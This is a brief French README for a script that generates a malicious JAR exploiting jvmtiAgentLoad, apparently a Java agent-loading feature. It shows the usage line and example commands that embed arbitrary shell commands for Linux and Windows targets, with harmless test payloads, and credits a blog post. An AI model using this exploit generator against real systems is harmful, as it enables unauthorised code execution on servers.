
Outils et code pour générer un JAR malveillant afin d'exploiter jvmtiAgentLoad
Outils et code pour générer un JAR malveillant afin d'exploiter jvmtiAgentLoad
$ bash create_jar.sh
Usage: create_jar.sh <TARGET_OS> <COMMAND>
Supported TARGET_OS options: linux|windows
La commande suivante génère un JAR (mal.jar) qui peut être utilisé sur une cible Linux:
bash create_jar.sh linux 'id > /tmp/jvmtiLoadAgent_test'
La commande suivante génère un JAR (mal.jar) qui peut être utilisé sur une cible Windows:
bash create_jar.sh windows 'whoami > C:\\Users\\Public\\jvmtiLoadAgent_test.txt'
Article de blog expliquant le fonctionnement de l'exploit jvmtiAgentLoad par pyn3rd